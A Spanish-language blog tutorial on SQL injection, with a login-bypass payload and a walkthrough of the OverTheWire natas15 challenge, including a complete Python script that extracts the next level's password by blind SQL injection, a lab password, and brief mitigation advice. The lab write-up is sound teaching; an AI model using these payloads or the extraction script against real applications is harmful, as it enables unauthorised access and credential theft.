Inicio Cuando un SQL Injection deja a tu aplicación como un chiste
Entrada
Cancelar

Cuando un SQL Injection deja a tu aplicación como un chiste

image

El título suena rudo, pero a decir verdad en muchas empresas y desarrolladores la seguridad la dejan a la ligera. A sí que veamos que podemos hacer con sqlijection. Increiblemente aún son reportadas vulnerabilidades con esta técnica de intrusión, los factores pueden ser diversos pero no estamos acá para buscar culpables acá se enseña y se aprende.

¿Qué diablos es sqlinjection?

Es una forma de inyectar sentencias SQL adicionales a una query ya definida en donde necesita como parámetro la entrada del usuario y si la entrada del usuario no es sanitizada o se confía plenamente en lo que ingresara un sqlinjection podrá ser ejecutado

Ejemplo mas básico los comienzos de las web

Supongamos un login básico donde el usuario ingresa su nombre y clave entonces por abajo el sistema consulta no importando el lenguaje

1
String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "';";

Esta concatenación nos permite ingresar lo que queramos, por ejemplo imaginemos ingresar lo siguiente:

1
String username = "admin' AND 1 = 1 --";

Entonces cuando se ejecuta la query termina siendo lo siguiente:

1
SELECT * FROM users WHERE username = 'admin' AND  1 = 1 -- AND password = 'some junk';";

Estamos diciendo que la query devolverá a nuestro usuario admin sin verificar la contraseña, ya que esa condición fue comentada y la sentencia 1=1 siempre será true. Esta es la Sqlinjection más básica y existen un montón dependiendo del motor de base de datos e incluso con las NoSql también tendremos opciones de ataque.

SQLInjection sobre un entorno controlado Over The Wire

Ya sabiendo como funciona esto te enseñaré un ataque de Sqlinjection con fines educativos y su mitigación. Para practicar sobre entornos controlados existen un montón de páginas en internet y te ofrecen una manera guiada para meterse en el mundo de la ciberseguridad de una forma divertida y competitiva sin que te hablen de la aburrida ISO27000 Vamos por más que eso y metámonos en los CTF.

¿Qué son los CTF?

Básicamente significa Capture the flag Es decir, captura la maldita bandera y muestra que eres el maldito amo, una alusión a que has encontrado o resuelto el objetivo planteado. Existen montón de CTF como desafíos de intrusión web, intrusión sobre active directory, escalada de privilegios, acertijos de código, criptografía, etc. En esta ocasión les presentaré Over the Wire. donde podremos adentrarnos en este mundillo, esta página es ideal para el que quiere empezar, ya que los ejercicios son una forma guiada de resolverlos y te aseguro que aumentaras tus habilidades en bash, Linux, conceptos básicos de ciberseguridad

Resolviendo un ejercicio de SqlInjection en los juegos natas

En los juegos de los servidores natas nos centraremos en el número 15, ya que este es vulnerable a Sqlinjection, para acceder al server 15 ya debes previamente haber comprometido el servidor anterior en donde la flag o “bandera” capturada sería la clave del servidor siguiente.

Ahora nos dirigimos a la página natas15 Ingresamos contraseñas y vemos un pequeño input que consulta por un nombre de usuario.

natas

Si analizamos la página observaremos que en el input tendremos 2 respuestas

natas

natas

natas

natas

Ahora enviando la siguiente información vemos un error en query con la siguiente sentencia

1
 " and 1 = 1

natas

Ya tenemos un indicio que es vulnerable nuestro input a SqlInjection. El ataque que realizaremos es llamado Blind Sqlinjection ya que no tienes ninguna salida de error referente a la base de datos (logs, trazas, queries, etc) solo una salida definida por la aplicación, pero si podemos realizar peticiones en base a condiciones de verdadero o falso y obtener la información que queramos. En este caso queremos la contraseña del usuario natas16, entonces definimos el siguiente input:

1
 natas16" and password like "A%" #

Ya que sabemos que el user natas16 existe entonces solo necesitamos agregar una sentencia más para encontrar su password y la mejor manera es usando el operador LIKE sobre el campo password asumiendo que exista, entonces con la magia de like podremos encontrar la password del user mediante un ataque de fuerza bruta probando con cada carácter, digito y símbolo desde el primer carácter de la columna password hasta el último que posea la columna password.

OverThe wire te da pistas

Como ven en la página tenemos un link con el código fuente del lado del servidor con la lógica con esto puedes deducir la forma de realizar el ataque por ejemplo el código nos indica que la base de datos es MySQL y la estructura del esquema sin embargo con sqlinjection puedes lograr mapear las bases de datos, los esquemas, las tablas y columnas con un poco mas de esfuerzo y tiempo.

Python for CTF players

Lo primero será instalar las librerías que necesitemos, en nuestro caso solo será requests y pwntools que sería la navaja suiza para scripting en pentesting en este caso solo usaremos las barras de progreso, pero esta librería contiene muchas utilidades interesantes.

1
2
3
4
5
6
7
# http request
pip3 install requests
# for pwn tools
apt-get update
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install --upgrade pip
python3 -m pip install --upgrade pwntools

Generamos el siguiente script base

Importamos las librerías que usaremos, definimos las credenciales para conectarnos a la página víctima y generamos la función make_request() la que nos devolverá el contenido de la página además hacemos uso de la librería signal para capturar el evento de teclado Control+C para que se vea más limpia la salida sin tantos errores de KeyBoardInterrupt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests, os, sys
from pwn import *
from requests.auth import HTTPBasicAuth
import urllib.parse
import string, signal

user = 'natas15'
password = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB' 
url = f"http://{user}.natas.labs.overthewire.org"


def make_request(username):
    auth = HTTPBasicAuth(user, password)
    res = requests.get(url, auth=auth, params={ 'debug': 'true', 'username': username  })
    return res.text

def def_handler(sig, frame):
    print('\n\n[*] Exit...\n')
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

Ahora definiremos la función force_brute_attack()con la comprometeremos la página víctima Los pasos del script son los siguientes

  • Obtenemos los caracteres y dígitos ascii del módulo string de python.
  • Creamos barras de progreso.
  • Iteramos sobre los caracteres de la columna password.
  • Definimos una la variable para detener el script cuando ya obtengamos la password.
  • Hacemos la petición al servidor
  • Si la respuesta en texto contiene la frase “this user exits” entonces agregamos el caracter a la variable password y continuamos con el próximo carácter a encontrar de la columna password
  • finalmente devolvemos la password encontrada
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def force_brute_attack():
    # 1 get characters 
    characters = f'{string.ascii_letters}{string.digits}'
    natas16_pass = ''
    # 2 progress bar 
    attackProgress = log.progress('Brute force attack')
    attackProgress.status('Starting attack')
    passwordHackedProgress = log.progress('Password for natas16')
    # 3 itering on password column
    while True:
        found = False
        # 4 iteraing over characters
        for c in characters:
            attackProgress.status(f'trying with {c} character')
            injection = f'natas16" AND password LIKE BINARY "{natas16_pass}{c}%" #'
            # making http request
            res = make_request(injection)
            # 5 true when character is valid
            if 'This user exists' in res:
                natas16_pass += c
                passwordHackedProgress.status(natas16_pass)
                found = True
                break
        # break the cicle when password were found    
        if found == False:
            break
    
    attackProgress.success(f'Password found {natas16_pass}')
    return natas16_pass

Finalmente el script queda de la siguiente manera:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import requests, os, sys
from pwn import *
from requests.auth import HTTPBasicAuth
import urllib.parse
import string, signal

user = 'natas15'
password = '' 
url = f"http://{user}.natas.labs.overthewire.org"


def make_request(username):
    auth = HTTPBasicAuth(user, password)
    res = requests.get(url, auth=auth, params={ 'debug': 'true', 'username': username  })
    return res.text

def def_handler(sig, frame):
    print('\n\n[*] Exit...\n')
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def force_brute_attack():
    # 1 get characters 
    characters = f'{string.ascii_letters}{string.digits}'
    natas16_pass = 'TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB'
    # 2 progress bar 
    attackProgress = log.progress('Brute force attack')
    attackProgress.status('Starting attack')
    passwordHackedProgress = log.progress('Password for natas16')
    # 3 itering on password column
    while True:
        found = False
        # 4 iteraing over characters
        for c in characters:
            attackProgress.status(f'trying with {c} character')
            injection = f'natas16" AND password LIKE BINARY "{natas16_pass}{c}%" #'
            # making http request
            res = make_request(injection)
            # 5 true when character is valid
            if 'This user exists' in res:
                natas16_pass += c
                passwordHackedProgress.status(natas16_pass)
                found = True
                break
        # break the cicle when password were found    
        if found == False:
            break
    
    attackProgress.success(f'Password found {natas16_pass}')
    return natas16_pass


if __name__ == "__main__":
    pass_found = force_brute_attack()
    os.system(f'echo "{pass_found}" > credentials/natas16')
    log.info('Password saved!')

Ejecutando el ataque

Ahora si ejecutamos el script tendremos la siguiente salida

natas

Y al pasar el tiempo empezará a completar la contraseña del próximo servidor y mostrándose de una forma bastante cool

natas

Probando la contraseña encontrada

Hemos encontrado una password que tiene pinta de ser solo texto claro y probándola sobre el siguiente server podemos ver que es válida ya hemos capturado la bandera. El ataque efectuado es llamado Blind SqlInjection, ya que la inyección no nos devuelve una salida de error del motor de base de datos solo estados y debemos evaluarlos para poder encontrar lo que necesitemos, esta vez este ataque fue aplicado al campo password, pero con este mismo sqlinjection podemos enumerar la base de datos entera si deseamos dependiendo del motor de base de datos las queries cambiarán, pero podemos enumerar bases de datos tablas y campos, existen herramientas como sqlmap que hacen todo este trabajo de forma automatizada, pero nunca viene mal saber qué pasa por debajo de esas herramientas.

Al loguernos encontramos el próximo desafío, donde podemos intentar resolverlo sin ver el código fuente de primeras pero no hay nada de malo en observarlo, te sorprenderas que muchas veces no existe una única solución en los CTFs aunque hallan sido creados para ser solucionados de una única manera.

natas

Mitigando los sqliijection

Lo primero que debes hacer es siempre sanitizar las entradas del usuario y generalmente la mayoría de librerías de SQL ya vienen con métodos para sanitizar queries y ejecutarlas de forma más segura y controlada. Un segundo punto es siempre guardar contraseñas de forma cifrada, existen muchas formas de cifrado y técnicas para guardar las contraseñas, pero en algunos casos algunos algoritmos de cifrado pueden ser rotos de forma offline mediante un ataque de fuerza bruta si la password es débil es por eso que como usuarios debemos usar contraseñas robustas.

Conclusiones?

Nada de conclusiones eso es para ti yo te regalaré un meme

meme

Esta entrada está licenciada bajo CC BY 4.0 por el autor.